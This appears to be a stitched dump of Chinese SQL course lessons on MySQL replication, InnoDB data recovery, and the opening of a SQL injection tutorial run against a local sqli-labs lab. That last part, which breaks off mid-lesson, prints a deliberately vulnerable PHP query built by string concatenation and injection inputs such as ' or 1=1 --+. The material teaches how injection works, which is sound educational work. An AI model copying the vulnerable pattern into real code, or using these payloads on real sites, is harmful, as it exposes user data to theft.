<img src="https://static001.geekbang.org/resource/image/96/ad/968bc668e91383a203cbd811021fb9ad.jpg" alt=""><br>
|
||||
当然我们也可以对MySQL做主从架构并且进行读写分离,让主服务器(Master)处理写请求,从服务器(Slave)处理读请求,这样同样可以提升数据库的并发处理能力。不过主从架构的作用不止于此,我们今天就从以下几个方面了解一下它:
|
||||
|
||||
1. 为什么需要主从同步,设置主从同步有什么样的作用?
|
||||
1. 主从同步的原理是怎样的?在进行主从同步的同时,会引入哪些问题?
|
||||
1. 为了保证主从同步的数据一致性,都有哪些方案?
|
||||
|
||||
## 为什么需要主从同步
|
||||
|
||||
首先不是所有的应用都需要对数据库进行主从架构的设置,毕竟设置架构本身是有成本的,如果我们的目的在于提升数据库高并发访问的效率,那么首先需要考虑的应该是如何优化你的SQL和索引,这种方式简单有效,其次才是采用缓存的策略,比如使用Redis,通过Redis高性能的优势将热点数据保存在内存数据库中,提升读取的效率,最后才是对数据库采用主从架构,进行读写分离。
|
||||
|
||||
按照上面的方式进行优化,使用和维护的成本是由低到高的。
|
||||
|
||||
主从同步设计不仅可以提高数据库的吞吐量,还有以下3个方面的作用。
|
||||
|
||||
首先是可以读写分离。我们可以通过主从复制的方式来同步数据,然后通过读写分离提高数据库并发处理能力。
|
||||
|
||||
简单来说就是同一份数据被放到了多个数据库中,其中一个数据库是Master主库,其余的多个数据库是Slave从库。当主库进行更新的时候,会自动将数据复制到从库中,而我们在客户端读取数据的时候,会从从库中进行读取,也就是采用读写分离的方式。互联网的应用往往是一些“读多写少”的需求,采用读写分离的方式,可以实现更高的并发访问。原本所有的读写压力都由一台服务器承担,现在有多个“兄弟”帮忙处理读请求,这样就减少了对后端大哥(Master)的压力。同时,我们还能对从服务器进行负载均衡,让不同的读请求按照策略均匀地分发到不同的从服务器上,让读取更加顺畅。读取顺畅的另一个原因,就是减少了锁表的影响,比如我们让主库负责写,当主库出现写锁的时候,不会影响到从库进行SELECT的读取。
|
||||
|
||||
第二个作用就是数据备份。我们通过主从复制将主库上的数据复制到了从库上,相当于是一种热备份机制,也就是在主库正常运行的情况下进行的备份,不会影响到服务。
|
||||
|
||||
第三个作用是具有高可用性。我刚才讲到的数据备份实际上是一种冗余的机制,通过这种冗余的方式可以换取数据库的高可用性,也就是当服务器出现故障或宕机的情况下,可以切换到从服务器上,保证服务的正常运行。
|
||||
|
||||
关于高可用性的程度,我们可以用一个指标衡量,即正常可用时间/全年时间。比如要达到全年99.999%的时间都可用,就意味着系统在一年中的不可用时间不得超过5.256分钟,也就365*24*60*(1-99.999%)=5.256分钟,其他时间都需要保持可用的状态。需要注意的是,这5.256分钟包括了系统崩溃的时间,也包括了日常维护操作导致的停机时间。
|
||||
|
||||
实际上,更高的高可用性,意味着需要付出更高的成本代价。在现实中我们需要结合业务需求和成本来进行选择。
|
||||
|
||||
## 主从同步的原理是怎样的
|
||||
|
||||
提到主从同步的原理,我们就需要了解在数据库中的一个重要日志文件,那就是Binlog二进制日志,它记录了对数据库进行更新的事件。实际上主从同步的原理就是基于Binlog进行数据同步的。在主从复制过程中,会基于3个线程来操作,一个主库线程,两个从库线程。
|
||||
|
||||
二进制日志转储线程(Binlog dump thread)是一个主库线程。当从库线程连接的时候,主库可以将二进制日志发送给从库,当主库读取事件的时候,会在Binlog上加锁,读取完成之后,再将锁释放掉。
|
||||
|
||||
从库I/O线程会连接到主库,向主库发送请求更新Binlog。这时从库的I/O线程就可以读取到主库的二进制日志转储线程发送的Binlog更新部分,并且拷贝到本地形成中继日志(Relay log)。
|
||||
|
||||
从库SQL线程会读取从库中的中继日志,并且执行日志中的事件,从而将从库中的数据与主库保持同步。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/63/31/637d392dbcdacf14cbb2791085a62b31.jpg" alt=""><br>
|
||||
所以你能看到主从同步的内容就是二进制日志(Binlog),它虽然叫二进制日志,实际上存储的是一个又一个事件(Event),这些事件分别对应着数据库的更新操作,比如INSERT、UPDATE、DELETE等。另外我们还需要注意的是,不是所有版本的MySQL都默认开启服务器的二进制日志,在进行主从同步的时候,我们需要先检查服务器是否已经开启了二进制日志。
|
||||
|
||||
进行主从同步的内容是二进制日志,它是一个文件,在进行网络传输的过程中就一定会存在延迟(比如500ms),这样就可能造成用户在从库上读取的数据不是最新的数据,也就是主从同步中的数据不一致性问题。比如我们对一条记录进行更新,这个操作是在主库上完成的,而在很短的时间内(比如100ms)又对同一个记录进行了读取,这时候从库还没有完成数据的更新,那么我们通过从库读到的数据就是一条旧的记录。
|
||||
|
||||
这种情况下该怎么办呢?
|
||||
|
||||
## 如何解决主从同步的数据一致性问题
|
||||
|
||||
可以想象下,如果我们想要操作的数据都存储在同一个数据库中,那么对数据进行更新的时候,可以对记录加写锁,这样在读取的时候就不会发生数据不一致的情况,但这时从库的作用就是备份,并没有起到读写分离,分担主库读压力的作用。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5e/47/5ec767c975f834a494596f1640e9fa47.jpg" alt=""><br>
|
||||
因此我们还需要继续想办法,在进行读写分离的同时,解决主从同步中数据不一致的问题,也就是解决主从之间数据复制方式的问题,如果按照数据一致性从弱到强来进行划分,有以下3种复制方式。
|
||||
|
||||
### 方法1:异步复制
|
||||
|
||||
异步模式就是客户端提交COMMIT之后不需要等从库返回任何结果,而是直接将结果返回给客户端,这样做的好处是不会影响主库写的效率,但可能会存在主库宕机,而Binlog还没有同步到从库的情况,也就是此时的主库和从库数据不一致。这时候从从库中选择一个作为新主,那么新主则可能缺少原来主服务器中已提交的事务。所以,这种复制模式下的数据一致性是最弱的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/16/85/1664bdb81d017359a126030ee08e0a85.png" alt="">
|
||||
|
||||
### 方法2:半同步复制
|
||||
|
||||
MySQL5.5版本之后开始支持半同步复制的方式。原理是在客户端提交COMMIT之后不直接将结果返回给客户端,而是等待至少有一个从库接收到了Binlog,并且写入到中继日志中,再返回给客户端。这样做的好处就是提高了数据的一致性,当然相比于异步复制来说,至少多增加了一个网络连接的延迟,降低了主库写的效率。
|
||||
|
||||
在MySQL5.7版本中还增加了一个`rpl_semi_sync_master_wait_for_slave_count`参数,我们可以对应答的从库数量进行设置,默认为1,也就是说只要有1个从库进行了响应,就可以返回给客户端。如果将这个参数调大,可以提升数据一致性的强度,但也会增加主库等待从库响应的时间。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/08/a1/08566325d0933775d13196330596a1a1.jpg" alt="">
|
||||
|
||||
### 方法3:组复制
|
||||
|
||||
组复制技术,简称MGR(MySQL Group Replication)。是MySQL在5.7.17版本中推出的一种新的数据复制技术,这种复制技术是基于Paxos协议的状态机复制。
|
||||
|
||||
我刚才介绍的异步复制和半同步复制都无法最终保证数据的一致性问题,半同步复制是通过判断从库响应的个数来决定是否返回给客户端,虽然数据一致性相比于异步复制有提升,但仍然无法满足对数据一致性要求高的场景,比如金融领域。MGR很好地弥补了这两种复制模式的不足。
|
||||
|
||||
下面我们来看下MGR是如何工作的(如下图所示)。
|
||||
|
||||
首先我们将多个节点共同组成一个复制组,在执行读写(RW)事务的时候,需要通过一致性协议层(Consensus层)的同意,也就是读写事务想要进行提交,必须要经过组里“大多数人”(对应Node节点)的同意,大多数指的是同意的节点数量需要大于(N/2+1),这样才可以进行提交,而不是原发起方一个说了算。而针对只读(RO)事务则不需要经过组内同意,直接COMMIT即可。
|
||||
|
||||
在一个复制组内有多个节点组成,它们各自维护了自己的数据副本,并且在一致性协议层实现了原子消息和全局有序消息,从而保证组内数据的一致性。(具体原理[点击这里](https://dev.mysql.com/doc/refman/5.7/en/group-replication-summary.html)可以参考。)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/39/ab/39cc2dd2a96e27dbdef3dc87aa8d15ab.png" alt=""><br>
|
||||
MGR将MySQL带入了数据强一致性的时代,是一个划时代的创新,其中一个重要的原因就是MGR是基于Paxos协议的。Paxos算法是由2013年的图灵奖获得者Leslie Lamport于1990年提出的,有关这个算法的决策机制你可以去网上搜一下。或者[点击这里](http://lamport.azurewebsites.net/pubs/lamport-paxos.pdf)查看具体的算法,另外作者在2001年发布了一篇[简化版的文章](http://lamport.azurewebsites.net/pubs/paxos-simple.pdf),你如果感兴趣的话,也可以看下。
|
||||
|
||||
事实上,Paxos算法提出来之后就作为分布式一致性算法被广泛应用,比如Apache的ZooKeeper也是基于Paxos实现的。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天讲解了数据库的主从同步,如果你的目标仅仅是数据库的高并发,那么可以先从SQL优化,索引以及Redis缓存数据库这些方面来考虑优化,然后再考虑是否采用主从架构的方式。
|
||||
|
||||
在主从架构的配置中,如果想要采取读写分离的策略,我们可以自己编写程序,也可以通过第三方的中间件来实现。
|
||||
|
||||
自己编写程序的好处就在于比较自主,我们可以自己判断哪些查询在从库上来执行,针对实时性要求高的需求,我们还可以考虑哪些查询可以在主库上执行。同时,程序直接连接数据库,减少了中间件层,相当于减少了性能损耗。
|
||||
|
||||
采用中间件的方法有很明显的优势,功能强大,使用简单。但因为在客户端和数据库之间增加了中间件层会有一些性能损耗,同时商业中间件也是有使用成本的。我们也可以考虑采取一些优秀的开源工具,比如MaxScale。它是MariaDB开发的MySQL数据中间件。比如在下图中,使用MaxScale作为数据库的代理,通过路由转发完成了读写分离。同时我们也可以使用MHA工具作为强一致的主从切换工具,从而完成MySQL的高可用架构。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/39/94/392a43c1d483392349c165f9f9f1d994.jpg" alt="">
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b7/48/b77a5eadce72eef7a56211ba2a1bf548.png" alt=""><br>
|
||||
今天讲的概念有点多,你能说一下主从复制、读写分离、负载均衡的概念吗?另外你不妨用自己的话说一下你对MGR的理解。
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
@@ -0,0 +1,158 @@
|
||||
<audio id="audio" title="36丨数据库没有备份,没有使用Binlog的情况下,如何恢复数据?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/4d/19/4d3a8cabc41a443b20e7bbba50646e19.mp3"></audio>
|
||||
|
||||
我们上节课讲解了MySQL的复制技术,通过主从同步可以实现读写分离,热备份,让服务器更加高可用。MySQL的复制主要是通过Binlog来完成的,Binlog记录了数据库更新的事件,从库I/O线程会向主库发送Binlog更新的请求,同时主库二进制转储线程会发送Binlog给从库作为中继日志进行保存,然后从库会通过中继日志重放,完成数据库的同步更新。这种同步操作是近乎实时的同步,然而也有人为误操作情况的发生,比如DBA人员为了方便直接在生产环境中对数据进行操作,或者忘记了当前是在开发环境,还是在生产环境中,就直接对数据库进行操作,这样很有可能会造成数据的丢失,情况严重时,误操作还有可能同步给从库实时更新。不过我们依然有一些策略可以防止这种误操作,比如利用延迟备份的机制。延迟备份最大的作用就是避免这种“手抖”的情况,让我们在延迟从库进行误操作前停止下来,进行数据库的恢复。
|
||||
|
||||
当然如果我们对数据库做过时间点备份,也可以直接恢复到该时间点。不过我们今天要讨论的是一个特殊的情况,也就是在没做数据库备份,没有开启使用Binlog的情况下,尽可能地找回数据。
|
||||
|
||||
今天的内容主要包括以下几个部分:
|
||||
|
||||
1. InnoDB存储引擎中的表空间是怎样的?两种表空间存储方式各有哪些优缺点?
|
||||
1. 如果.ibd文件损坏了,数据该如何找回?
|
||||
1. 如何模拟InnoDB文件的损坏与数据恢复?
|
||||
|
||||
## InnoDB存储引擎的表空间
|
||||
|
||||
InnoDB存储引擎的文件格式是.ibd文件,数据会按照表空间(tablespace)进行存储,分为共享表空间和独立表空间。如果想要查看表空间的存储方式,我们可以对`innodb_file_per_table`变量进行查询,使用`show variables like 'innodb_file_per_table';`。ON表示独立表空间,而OFF则表示共享表空间。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7d/0d/7dc5aae75a7d5d2c599c7cb8dd97440d.png" alt=""><br>
|
||||
如果采用共享表空间的模式,InnoDB存储的表数据都会放到共享表空间中,也就是多个数据表共用一个表空间,同时表空间也会自动分成多个文件存放到磁盘上。这样做的好处在于单个数据表的大小可以突破文件系统大小的限制,最大可以达到64TB,也就是InnoDB存储引擎表空间的上限。不足也很明显,多个数据表存放到一起,结构不清晰,不利于数据的找回,同时将所有数据和索引都存放到一个文件中,也会使得共享表空间的文件很大。
|
||||
|
||||
采用独立表空间的方式可以让每个数据表都有自己的物理文件,也就是table_name.ibd的文件,在这个文件中保存了数据表中的数据、索引、表的内部数据字典等信息。它的优势在于每张表都相互独立,不会影响到其他数据表,存储结构清晰,利于数据恢复,同时数据表还可以在不同的数据库之间进行迁移。
|
||||
|
||||
## 如果.ibd文件损坏了,数据如何找回
|
||||
|
||||
如果我们之前没有做过全量备份,也没有开启Binlog,那么我们还可以通过.ibd文件进行数据恢复,采用独立表空间的方式可以很方便地对数据库进行迁移和分析。如果我们误删除(DELETE)某个数据表或者某些数据行,也可以采用第三方工具回数据。
|
||||
|
||||
我们这里可以使用Percona Data Recovery Tool for InnoDB工具,能使用工具进行修复是因为我们在使用DELETE的时候是逻辑删除。我们之前学习过InnoDB的页结构,在保存数据行的时候还有个删除标记位,对应的是页结构中的delete_mask属性,该属性为1的时候标记了记录已经被逻辑删除,实际上并不是真的删除。不过当有新的记录插入的时候,被删除的行记录可能会被覆盖掉。所以当我们发生了DELETE误删除的时候,一定要第一时间停止对误删除的表进行更新和写入,及时将.ibd文件拷贝出来并进行修复。
|
||||
|
||||
如果已经开启了Binlog,就可以使用闪回工具,比如mysqlbinlog或者binlog2sql,从工具名称中也能看出来它们都是基于Binlog来做的闪回。原理就是因为Binlog文件本身保存了数据库更新的事件(Event),通过这些事件可以帮我们重现数据库的所有更新变化,也就是Binlog回滚。
|
||||
|
||||
下面我们就来看下没有做过备份,也没有开启Binlog的情况下,如果.ibd文件发生了损坏,如何通过数据库自身的机制来进行数据恢复。
|
||||
|
||||
实际上,InnoDB是有自动恢复机制的,如果发生了意外,InnoDB可以在读取数据表时自动修复错误。但有时候.ibd文件损坏了,会导致数据库无法正常读取数据表,这时我们就需要人工介入,调整一个参数,这个参数叫做`innodb_force_recovery`。
|
||||
|
||||
我们可以通过命令`show variables like 'innodb_force_recovery';`来查看当前参数的状态,你能看到默认为0,表示不进行强制恢复。如果遇到错误,比如ibd文件中的数据页发生损坏,则无法读取数据,会发生MySQL宕机的情况,此时会将错误日志记录下来。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6e/ba/6edf81f6402311ca7f8ee8619b656fba.png" alt=""><br>
|
||||
`innodb_force_recovery`参数一共有7种状态,除了默认的0以外,还可以为1-6的取值,分别代表不同的强制恢复措施。
|
||||
|
||||
当我们需要强制恢复的时候,可以将`innodb_force_recovery`设置为1,表示即使发现了损坏页也可以继续让服务运行,这样我们就可以读取数据表,并且对当前损坏的数据表进行分析和备份。
|
||||
|
||||
通常`innodb_force_recovery`参数设置为1,只要能正常读取数据表即可。但如果参数设置为1之后还无法读取数据表,我们可以将参数逐一增加,比如2、3等。一般来说不需要将参数设置到4或以上,因为这有可能对数据文件造成永久破坏。另外当`innodb_force_recovery`设置为大于0时,相当于对InnoDB进行了写保护,只能进行SELECT读取操作,还是有限制的读取,对于WHERE条件以及ORDER BY都无法进行操作。
|
||||
|
||||
当我们开启了强制恢复之后,数据库的功能会受到很多限制,我们需要尽快把有问题的数据表备份出来,完成数据恢复操作。整体的恢复步骤可以按照下面的思路进行:
|
||||
|
||||
1.使用`innodb_force_recovery`启动服务器
|
||||
|
||||
将`innodb_force_recovery`参数设置为1,启动数据库。如果数据表不能正常读取,需要调大参数直到能读取数据为止。通常设置为1即可。
|
||||
|
||||
2.备份数据表
|
||||
|
||||
在备份数据之前,需要准备一个新的数据表,这里需要使用MyISAM存储引擎。原因很简单,InnoDB存储引擎已经写保护了,无法将数据备份出来。然后将损坏的InnoDB数据表备份到新的MyISAM数据表中。
|
||||
|
||||
3.删除旧表,改名新表
|
||||
|
||||
数据备份完成之后,我们可以删除掉原有损坏的InnoDB数据表,然后将新表进行改名。
|
||||
|
||||
4.关闭`innodb_force_recovery`,并重启数据库
|
||||
|
||||
`innodb_force_recovery`大于1的时候会有很多限制,我们需要将该功能关闭,然后重启数据库,并且将数据表的MyISAM存储引擎更新为InnoDB存储引擎。
|
||||
|
||||
## InnoDB文件的损坏与恢复实例
|
||||
|
||||
我们刚才说了InnoDB文件损坏时的人工操作过程,下面我们用一个例子来模拟下。
|
||||
|
||||
### 生成InnoDB数据表
|
||||
|
||||
为了简便,我们创建一个数据表t1,只有id一个字段,类型为int。使用命令`create table t1(id int);`即可。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0c/34/0c2790f539d4f35aec6dd0703b059134.png" alt=""><br>
|
||||
然后创建一个存储过程帮我们生成一些数据:
|
||||
|
||||
```
|
||||
BEGIN
|
||||
-- 当前数据行
|
||||
DECLARE i INT DEFAULT 0;
|
||||
-- 最大数据行数
|
||||
DECLARE max_num INT DEFAULT 100;
|
||||
-- 关闭自动提交
|
||||
SET autocommit=0;
|
||||
REPEAT
|
||||
SET i=i+1;
|
||||
-- 向t1表中插入数据
|
||||
INSERT INTO t1(id) VALUES(i);
|
||||
UNTIL i = max_num
|
||||
END REPEAT;
|
||||
-- 提交事务
|
||||
COMMIT;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
然后我们运行`call insert_t1()`,这个存储过程帮我们插入了100条数据,这样我们就有了t1.ibd这个文件。
|
||||
|
||||
### 模拟损坏.ibd文件
|
||||
|
||||
实际工作中我们可能会遇到各种各样的情况,比如.ibd文件损坏等,如果遇到了数据文件的损坏,MySQL是无法正常读取的。在模拟损坏.ibd文件之前,我们需要先关闭掉MySQL服务,然后用编辑器打开t1.ibd,类似下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d3/7c/d34734f6dfbf0e01cf4a40bb549e147c.png" alt=""><br>
|
||||
文件是有二进制编码的,看不懂没有关系,我们只需要破坏其中的一些内容即可,比如我在t1.ibd文件中删除了2行内容(文件大部分内容为0,我们在文件中间部分找到一些非0的取值,然后删除其中的两行:4284行与4285行,原ibd文件和损坏后的ibd文件见[GitHub](https://github.com/cystanford/innodb_force_recovery)[地址](https://github.com/cystanford/innodb_force_recovery)。其中t1.ibd为创建的原始数据文件,t1-损坏.ibd为损坏后的数据文件,你需要自己创建t1数据表,然后将t1-损坏.ibd拷贝到本地,并改名为t1.ibd)。
|
||||
|
||||
然后我们保存文件,这时.ibd文件发生了损坏,如果我们没有打开`innodb_force_recovery`,那么数据文件无法正常读取。为了能读取到数据表中的数据,我们需要修改MySQL的配置文件,找到`[mysqld]`的位置,然后再下面增加一行`innodb_force_recovery=1`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a3/94/a3a226bbd1b435393039b75618be6e94.png" alt="">
|
||||
|
||||
### 备份数据表
|
||||
|
||||
当我们设置`innodb_force_recovery`参数为1的时候,可以读取到数据表t1中的数据,但是数据不全。我们使用`SELECT * FROM t1 LIMIT 10;`读取当前前10条数据。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/76/0a/761a5495f9769de35f60f112e4d94b0a.png" alt=""><br>
|
||||
但是如果我们想要完整的数据,使用`SELECT * FROM t1 LIMIT 100;`就会发生如下错误。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/62/93/623a6cd6987f5ac11aad432257edcc93.png" alt=""><br>
|
||||
这是因为读取的部分包含了已损坏的数据页,我们可以采用二分查找判断数据页损坏的位置。这里我们通过实验,可以得出只有最后一个记录行收到了损坏,而前99条记录都可以正确读出(具体实验过程省略)。
|
||||
|
||||
这样我们就能判断出来有效的数据行的位置,从而将它们备份出来。首先我们创建一个相同的表结构t2,存储引擎设置为MyISAM。我刚才讲过这里使用MyISAM存储引擎是因为在`innodb_force_recovery=1`的情况下,无法对innodb数据表进行写数据。使用命令`CREATE TABLE t2(id int) ENGINE=MyISAM;`。
|
||||
|
||||
然后我们将数据表t1中的前99行数据复制给t2数据表,使用:
|
||||
|
||||
```
|
||||
INSERT INTO t2 SELECT * FROM t1 LIMIT 99;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a9/38/a91d4a2d259bba1c2aeb9a5b95619238.png" alt=""><br>
|
||||
我们刚才讲过在分析t1数据表的时候无法使用WHERE以及ORDER BY等子句,这里我们可以实验一下,如果想要查询id<10的数据行都有哪些,那么会发生如下错误。原因是损坏的数据页无法进行条件判断。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fc/9d/fc00a89e22a301826bbdd7b37d7b7c9d.png" alt="">
|
||||
|
||||
### 删除旧表,改名新表
|
||||
|
||||
刚才我们已经恢复了大部分的数据。虽然还有一行记录没有恢复,但是能找到绝大部分的数据也是好的。然后我们就需要把之前旧的数据表删除掉,使用`DROP TABLE t1;`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f3/47/f30d79228572382810fd388ded1ff447.png" alt=""><br>
|
||||
更新表名,将数据表名称由t2改成t1,使用`RENAME TABLE t2 to t1;`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/23/98/23af300e09c2fd5afafe1cec849d7f98.png" alt=""><br>
|
||||
将新的数据表t1存储引擎改成InnoDB,不过直接修改的话,会报如下错误:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d1/a6/d102e7ec02a228529b26bd070601b9a6.png" alt="">
|
||||
|
||||
### 关闭`innodb_force_recovery`,并重启数据库
|
||||
|
||||
因为上面报错,所以我们需要将MySQL配置文件中的`innodb_force_recovery=1`删除掉,然后重启数据库。最后将t1的存储引擎改成InnoDB即可,使用`ALTER TABLE t1 engine = InnoDB;`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ab/1b/abc06822471b4eb4036de1504840df1b.png" alt="">
|
||||
|
||||
## 总结
|
||||
|
||||
我们刚才人工恢复了损坏的ibd文件中的数据,虽然没有100%找回,但是相比于束手无措来说,已经是不幸中的万幸,至少我们还可以把正确的数据页中的记录成功备份出来,尽可能恢复原有的数据表。在这个过程中相信你应该对ibd文件,以及InnoDB自身的强制恢复(Force Recovery)机制有更深的了解。
|
||||
|
||||
数据表损坏,以及人为的误删除都不是我们想要看到的情况,但是我们不能指望运气,或者说我们不能祈祷这些事情不会发生。在遇到这些情况的时候,应该通过机制尽量保证数据库的安全稳定运行。这个过程最主要的就是应该及时备份,并且开启二进制日志,这样当有误操作的时候就可以通过数据库备份以及Binlog日志来完成数据恢复。同时采用延迟备份的策略也可以尽量抵御误操作。总之,及时备份是非常有必要的措施,同时我们还需要定时验证备份文件的有效性,保证备份文件可以正常使用。
|
||||
|
||||
如果你遇到了数据库ibd文件损坏的情况,并且没有采用任何的备份策略,可以尝试使用InnoDB的强制恢复机制,启动MySQL并且将损坏的数据表转储到MyISAM数据表中,尽可能恢复已有的数据。总之机制比人为更靠谱,我们要为长期的运营做好充足的准备。一旦发生了误操作这种紧急情况,不要慌张,及时采取对应的措施才是最重要的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0b/b0/0bce932aae90fbd40a72454d84fad9b0.png" alt=""><br>
|
||||
今天的内容到这里就结束了,我想问问,在日常工作中,你是否遇到过误操作的情况呢?你又是如何解决的?除了我上面介绍的机制外,还有哪些备份的机制可以增强数据的安全性?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
256
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/37丨SQL注入:你的SQL是如何被注入的?.md
Normal file
256
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/37丨SQL注入:你的SQL是如何被注入的?.md
Normal file
@@ -0,0 +1,256 @@
|
||||
<audio id="audio" title="37丨SQL注入:你的SQL是如何被注入的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/35/64/3531b6c1e8853fb630352cb04dcea964.mp3"></audio>
|
||||
|
||||
我们之前已经讲解了SQL的使用及优化,正常的SQL调用可以帮我们从数据库中获取想要的数据,然而我们构建的Web应用是个应用程序,本身也可能存在安全漏洞,如果不加以注意,就会出现Web安全的隐患,比如通过非正常的方式注入SQL。
|
||||
|
||||
在过去的几年中,我们也能经常看到用户信息被泄露,出现这种情况,很大程度上和SQL注入有关。所以了解SQL注入的原理以及防范还是非常有必要的。
|
||||
|
||||
今天我们就通过一个简单的练习看下SQL注入的过程是怎样的,内容主要包括以下几个部分:
|
||||
|
||||
1. SQL注入的原理。为什么用户可以通过URL请求或者提交Web表单的方式提交非法SQL命令,从而访问数据库?
|
||||
1. 如何使用sqli-labs注入平台进行第一个SQL注入实验?
|
||||
1. 如何使用SQLmap完成SQL注入检测?
|
||||
|
||||
## SQL注入的原理
|
||||
|
||||
SQL注入也叫作SQL Injection,它指的是将非法的SQL命令插入到URL或者Web表单中进行请求,而这些请求被服务器认为是正常的SQL语句从而进行执行。也就是说,如果我们想要进行SQL注入,可以将想要执行的SQL代码隐藏在输入的信息中,而机器无法识别出来这些内容是用户信息,还是SQL代码,在后台处理过程中,这些输入的SQL语句会显现出来并执行,从而导致数据泄露,甚至被更改或删除。
|
||||
|
||||
为什么我们可以将SQL语句隐藏在输入的信息中呢?这里举一个简单的例子。
|
||||
|
||||
比如下面的PHP代码将浏览器发送过来的URL请求,通过GET方式获取ID参数,赋值给$id变量,然后通过字符串拼接的方式组成了SQL语句。这里我们没有对传入的ID参数做校验,而是采用了直接拼接的方式,这样就可能产生SQL注入。
|
||||
|
||||
```
|
||||
$id=$_GET['id'];
|
||||
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
|
||||
$result=mysql_query($sql);
|
||||
$row = mysql_fetch_array($result);
|
||||
|
||||
```
|
||||
|
||||
如果我们在URL中的?id=后面输入’ or 1=1 --+,那么SQL语句就变成了下面这样:
|
||||
|
||||
```
|
||||
SELECT * FROM users WHERE id='' or 1=1 -- LIMIT 0,1
|
||||
|
||||
```
|
||||
|
||||
其中我们输入的(+)在浏览器URL中相当于空格,而输入的(–)在SQL中表示注释语句,它会将后面的SQL内容都注释掉,这样整个SQL就相当于是从users表中获取全部的数据。然后我们使用mysql_fetch_array从结果中获取一条记录,这时即使ID输入不正确也没有关系,同样可以获取数据表中的第一行记录。
|
||||
|
||||
## 一个SQL注入的实例
|
||||
|
||||
通常我们希望通过SQL注入可以获取更多的信息,比如数据库的名称、数据表名称和字段名等。下面我们通过一个简单的SQL实例来操作一下。
|
||||
|
||||
### 搭建sqli-labs注入环境
|
||||
|
||||
首先我们需要搭建sqli-labs注入环境,在这个项目中,我们会面临75个SQL注入的挑战,你可以像游戏闯关一样对SQL注入的原理进行学习。
|
||||
|
||||
下面的步骤是关于如何在本地搭建sqli-labs注入环境的,成功搭建好的环境类似[链接](http://43.247.91.228:84/)里展现的。
|
||||
|
||||
第一步,下载sqli-labs。
|
||||
|
||||
sqli-labs是一个开源的SQL注入平台,你可以从[GitHub](https://github.com/audi-1/sqli-labs)上下载它。
|
||||
|
||||
第二步,配置PHP、Apache环境(可以使用phpStudy工具)。
|
||||
|
||||
运行sqli-labs需要PHP、Apache环境,如果你之前没有安装过它们,可以直接使用phpStudy这个工具,它不仅集成了PHP、Apache和MySQL,还可以方便地指定PHP的版本。在今天的项目中,我使用的是PHP5.4.45版本。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ec/f4/ecd7853d8aa4523735643d0aa67ce5f4.png" alt=""><br>
|
||||
第三步,配置sqli-labs及MySQL参数。
|
||||
|
||||
首先我们需要给sqli-labs指定需要访问的数据库账户密码,对应`sqli-labs-master\sql-connections\db-creds.inc`文件,这里我们需要修改`$dbpass`参数,改成自己的MySQL的密码。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a2/84/a2b0bcedf13d2f6d4d0e77553c4a9484.png" alt=""><br>
|
||||
此时我们访问本地的`sqli-labs`项目`http://localhost/sqli-labs-master/`出现如下页面,需要先启动数据库,选择`Setup/reset Database for labs`即可。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3d/a9/3d6bdc6a81df7ad708903a015233cba9.png" alt=""><br>
|
||||
如果此时提示数据库连接错误,可能需要我们手动修改MySQL的配置文件,需要调整的参数如下所示(修改MySQL密码验证方式为使用明文,同时设置MySQL默认的编码方式):
|
||||
|
||||
```
|
||||
[client]
|
||||
default-character-set=utf8
|
||||
[mysql]
|
||||
default-character-set=utf8
|
||||
[mysqld]
|
||||
character-set-server = utf8
|
||||
default_authentication_plugin = mysql_native_password
|
||||
|
||||
```
|
||||
|
||||
### 第一个SQL注入挑战
|
||||
|
||||
在我们成功对sqli-labs进行了配置,现在可以进入到第一关挑战环节。访问本地的`http://localhost/sqli-labs-master/Less-1/`页面,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/74/4274d6de133192f7a1dd0348c75c0e74.png" alt=""><br>
|
||||
我们可以在URL后面加上ID参数,获取指定ID的信息,比如`http://localhost/sqli-labs-master/Less-1/?id=1`。
|
||||
|
||||
这些都是正常的访问请求,现在我们可以通过1 or 1=1来判断ID参数的查询类型,访问`http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ea/41/eab6701bd0a40980b180d99e295b1841.png" alt=""><br>
|
||||
你可以看到依然可以正常访问,证明ID参数不是数值查询,然后我们在1后面增加个单引号,来查看下返回结果,访问`http://localhost/sqli-labs-master/Less-1/?id=1'`。
|
||||
|
||||
这时数据库报错,并且在页面上返回了错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1。
